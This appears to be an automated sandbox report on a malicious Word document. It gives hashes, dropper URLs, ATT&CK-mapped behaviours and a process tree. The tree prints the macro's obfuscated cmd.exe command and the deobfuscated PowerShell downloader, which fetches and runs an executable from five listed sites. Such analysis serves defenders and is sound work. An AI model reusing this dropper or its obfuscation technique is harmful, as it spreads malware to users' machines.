ab37d198e0a1aa5ea37a6a4ebfccf8f6f175f3e97f77261b9a4813a4c7e2c1c4

General

Target

ab37d198e0a1aa5ea37a6a4ebfccf8f6f175f3e97f77261b9a4813a4c7e2c1c4.doc
Size

141KB
MD5

d2cc5525e1d27ab1814bf89562efd8d9
SHA1

278d0e253423ba2e83f1b3851465251c209a8580
SHA256

ab37d198e0a1aa5ea37a6a4ebfccf8f6f175f3e97f77261b9a4813a4c7e2c1c4
SHA512

59725072fd48b6853e938ad289b8fe893fa48f61a0a0f5e3c377ba85f63514b55577b78e6bf7a3bd32b8d46a5f400805b64dd51965ed431f76a2d19a46a01191

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.niteshagrico.com/z7ISltpB

exe.dropper

http://www.tenmiengiarenhat.com/bIfcRi8Kc

exe.dropper

http://www.hopeintlschool.org/ebIV1do

exe.dropper

http://www.dnenes.com.mx/Wmv9Lwru

exe.dropper

http://kynangtuhoc.com/h6pTDOH

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1600	3064	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

51 1856 powershell.exe
59 1856 powershell.exe
60 1856 powershell.exe
65 1856 powershell.exe

flow	pid	process
51	1856	powershell.exe
59	1856	powershell.exe
60	1856	powershell.exe
65	1856	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3064 WINWORD.EXE
3064 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1856 powershell.exe
1856 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1856 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3064 WINWORD.EXE
3064 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3064 WINWORD.EXE
3064 WINWORD.EXE
3064 WINWORD.EXE
3064 WINWORD.EXE
3064 WINWORD.EXE
3064 WINWORD.EXE
3064 WINWORD.EXE

pid	process
3064	WINWORD.EXE
3064	WINWORD.EXE

pid	process
1856	powershell.exe
1856	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1856	powershell.exe

pid	process
3064	WINWORD.EXE
3064	WINWORD.EXE

pid	process
3064	WINWORD.EXE
3064	WINWORD.EXE
3064	WINWORD.EXE
3064	WINWORD.EXE
3064	WINWORD.EXE
3064	WINWORD.EXE
3064	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 3064 wrote to memory of 2672	3064	WINWORD.EXE	splwow64.exe
PID 3064 wrote to memory of 2672	3064	WINWORD.EXE	splwow64.exe
PID 3064 wrote to memory of 1600	3064	WINWORD.EXE	cmd.exe
PID 3064 wrote to memory of 1600	3064	WINWORD.EXE	cmd.exe
PID 1600 wrote to memory of 1540	1600	cmd.exe	cmd.exe
PID 1600 wrote to memory of 1540	1600	cmd.exe	cmd.exe
PID 1540 wrote to memory of 2684	1540	cmd.exe	cmd.exe
PID 1540 wrote to memory of 2684	1540	cmd.exe	cmd.exe
PID 1540 wrote to memory of 4044	1540	cmd.exe	cmd.exe
PID 1540 wrote to memory of 4044	1540	cmd.exe	cmd.exe
PID 4044 wrote to memory of 1856	4044	cmd.exe	powershell.exe
PID 4044 wrote to memory of 1856	4044	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ab37d198e0a1aa5ea37a6a4ebfccf8f6f175f3e97f77261b9a4813a4c7e2c1c4.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2672

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c %PrOgRamdATa:~0,1%%pRoGramDaTA:~9,2% /v: /R " sET WtOF=pow^%PUBLIC:~5W31^%r^%SESSIONNAME:~-4W31^%?^% EMP:~-3W31^%llC6$onlinewnY='moderanYor]r';$In]esnYmennYA22ounnYos=new-oh`e2nYC6NenY.WehCliennY;$Ergonomi2]s='?nYnYp://www.ninYes?agri2o.2om/z7ISlnYpB@?nYnYp://www.nYenmiengiaren?anY.2om/hIf2Ri8tS2@?nYnYp://www.?opeinnYls2?ool.org/ehIV1do@?nYnYp://www.dnenes.2om.mx/Wm]9Lwru@?nYnYp://kynangnYu?o2.2om/?6p [O_'.SplinY('@');$,ro2eryAunYomonYi]eAunYomonYi]ews='ROIso';$SmallFres? unaa`C6=C6'\\4';$MoneyMarkenYA22ounnYir='plugandplaywz';$_eardIslandandM2[onaldIslandski=$en]:puhli2+'#'+$SmallFres? unaa`+'.exe';forea2?($deposinYpqC6inC6$Ergonomi2]s)JnYryJ$In]esnYmennYA22ounnYos.[ownloadFile($deposinYpqW3C6$_eardIslandandM2[onaldIslandski);$generanYing`k='ininYianYi]es?i';IfC6((,enY-InYemC6$_eardIslandandM2[onaldIslandski).lengnY?C6-geC680000)C6JIn]oke-InYemC6$_eardIslandandM2[onaldIslandski;$PersonalLoanA22ounnYrf='AunYomonYi]e]z';hreak;}}2anY2?J}}$paradigmsd2='In2redihleCon2renYetSeyhoardal';&Set rM29=!WtOF:,=G!& sET 7f=!rM29:W3=,!&&sET Gi7=!7f: =T!&& SET pNAW=!Gi7:C6= !&& SET 1OZ=!pNAW:h=b!&& sEt 8hEj=!1OZ:?=h!&& sEt 87=!8hEj:_=H!&&SeT 5zLR=!87:tS=K!& seT JKI=!5zLR:2=c!&& SeT 4OiV=!JKI:\=2!&& SeT Jg=!4OiV:J={!& SET tW=!Jg:`=j!& set wg=!tW:nY=t!& SeT lE3d=!wg:#=\!& set 94vg=!lE3d:]=v!& SEt 3fr=!94vg:[=D!&& ecHO %3fr% | %tmP:~-8,-7%%appdATA:~-4,1%D "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\system32\cmd.exe
CmD /v: /R " sET WtOF=pow^%PUBLIC:~5W31^%r^%SESSIONNAME:~-4W31^%?^% EMP:~-3W31^%llC6$onlinewnY='moderanYor]r';$In]esnYmennYA22ounnYos=new-oh`e2nYC6NenY.WehCliennY;$Ergonomi2]s='?nYnYp://www.ninYes?agri2o.2om/z7ISlnYpB@?nYnYp://www.nYenmiengiaren?anY.2om/hIf2Ri8tS2@?nYnYp://www.?opeinnYls2?ool.org/ehIV1do@?nYnYp://www.dnenes.2om.mx/Wm]9Lwru@?nYnYp://kynangnYu?o2.2om/?6p [O_'.SplinY('@');$,ro2eryAunYomonYi]eAunYomonYi]ews='ROIso';$SmallFres? unaa`C6=C6'\\4';$MoneyMarkenYA22ounnYir='plugandplaywz';$_eardIslandandM2[onaldIslandski=$en]:puhli2+'#'+$SmallFres? unaa`+'.exe';forea2?($deposinYpqC6inC6$Ergonomi2]s)JnYryJ$In]esnYmennYA22ounnYos.[ownloadFile($deposinYpqW3C6$_eardIslandandM2[onaldIslandski);$generanYing`k='ininYianYi]es?i';IfC6((,enY-InYemC6$_eardIslandandM2[onaldIslandski).lengnY?C6-geC680000)C6JIn]oke-InYemC6$_eardIslandandM2[onaldIslandski;$PersonalLoanA22ounnYrf='AunYomonYi]e]z';hreak;}}2anY2?J}}$paradigmsd2='In2redihleCon2renYetSeyhoardal';&Set rM29=!WtOF:,=G!& sET 7f=!rM29:W3=,!&&sET Gi7=!7f: =T!&& SET pNAW=!Gi7:C6= !&& SET 1OZ=!pNAW:h=b!&& sEt 8hEj=!1OZ:?=h!&& sEt 87=!8hEj:_=H!&&SeT 5zLR=!87:tS=K!& seT JKI=!5zLR:2=c!&& SeT 4OiV=!JKI:\=2!&& SeT Jg=!4OiV:J={!& SET tW=!Jg:`=j!& set wg=!tW:nY=t!& SeT lE3d=!wg:#=\!& set 94vg=!lE3d:]=v!& SEt 3fr=!94vg:[=D!&& ecHO %3fr% | cmD "
3⤵
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ecHO %3fr% "
4⤵
PID:2684

C:\Windows\system32\cmd.exe
cmD
4⤵
- Suspicious use of WriteProcessMemory
PID:4044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $onlinewt='moderatorvr';$InvestmentAccountos=new-object Net.WebClient;$Ergonomicvs='http://www.niteshagrico.com/z7ISltpB@http://www.tenmiengiarenhat.com/bIfcRi8Kc@http://www.hopeintlschool.org/ebIV1do@http://www.dnenes.com.mx/Wmv9Lwru@http://kynangtuhoc.com/h6pTDOH'.Split('@');$GroceryAutomotiveAutomotivews='ROIso';$SmallFreshTunaaj = '224';$MoneyMarketAccountir='plugandplaywz';$HeardIslandandMcDonaldIslandski=$env:public+'\'+$SmallFreshTunaaj+'.exe';foreach($depositpq in $Ergonomicvs){try{$InvestmentAccountos.DownloadFile($depositpq, $HeardIslandandMcDonaldIslandski);$generatingjk='initiativeshi';If ((Get-Item $HeardIslandandMcDonaldIslandski).length -ge 80000) {Invoke-Item $HeardIslandandMcDonaldIslandski;$PersonalLoanAccountrf='Automotivevz';break;}}catch{}}$paradigmsdc='IncredibleConcreteKeyboardal';
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1856

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1540-140-0x0000000000000000-mapping.dmp

Download
memory/1600-139-0x0000000000000000-mapping.dmp

Download
memory/1856-145-0x00007FF831E70000-0x00007FF832931000-memory.dmp

Filesize
10.8MB

Download
memory/1856-144-0x000001E0DE790000-0x000001E0DE7B2000-memory.dmp

Filesize
136KB

Download
memory/1856-143-0x0000000000000000-mapping.dmp

Download
memory/2672-137-0x0000000000000000-mapping.dmp

Download
memory/2684-141-0x0000000000000000-mapping.dmp

Download
memory/3064-135-0x00007FF81B520000-0x00007FF81B530000-memory.dmp

Filesize
64KB

Download
memory/3064-138-0x0000020629EB0000-0x0000020629EB4000-memory.dmp

Filesize
16KB

Download
memory/3064-132-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-131-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-133-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-136-0x00007FF81B520000-0x00007FF81B530000-memory.dmp

Filesize
64KB

Download
memory/3064-134-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-130-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-147-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-148-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-149-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/3064-150-0x00007FF81D730000-0x00007FF81D740000-memory.dmp

Filesize
64KB

Download
memory/4044-142-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads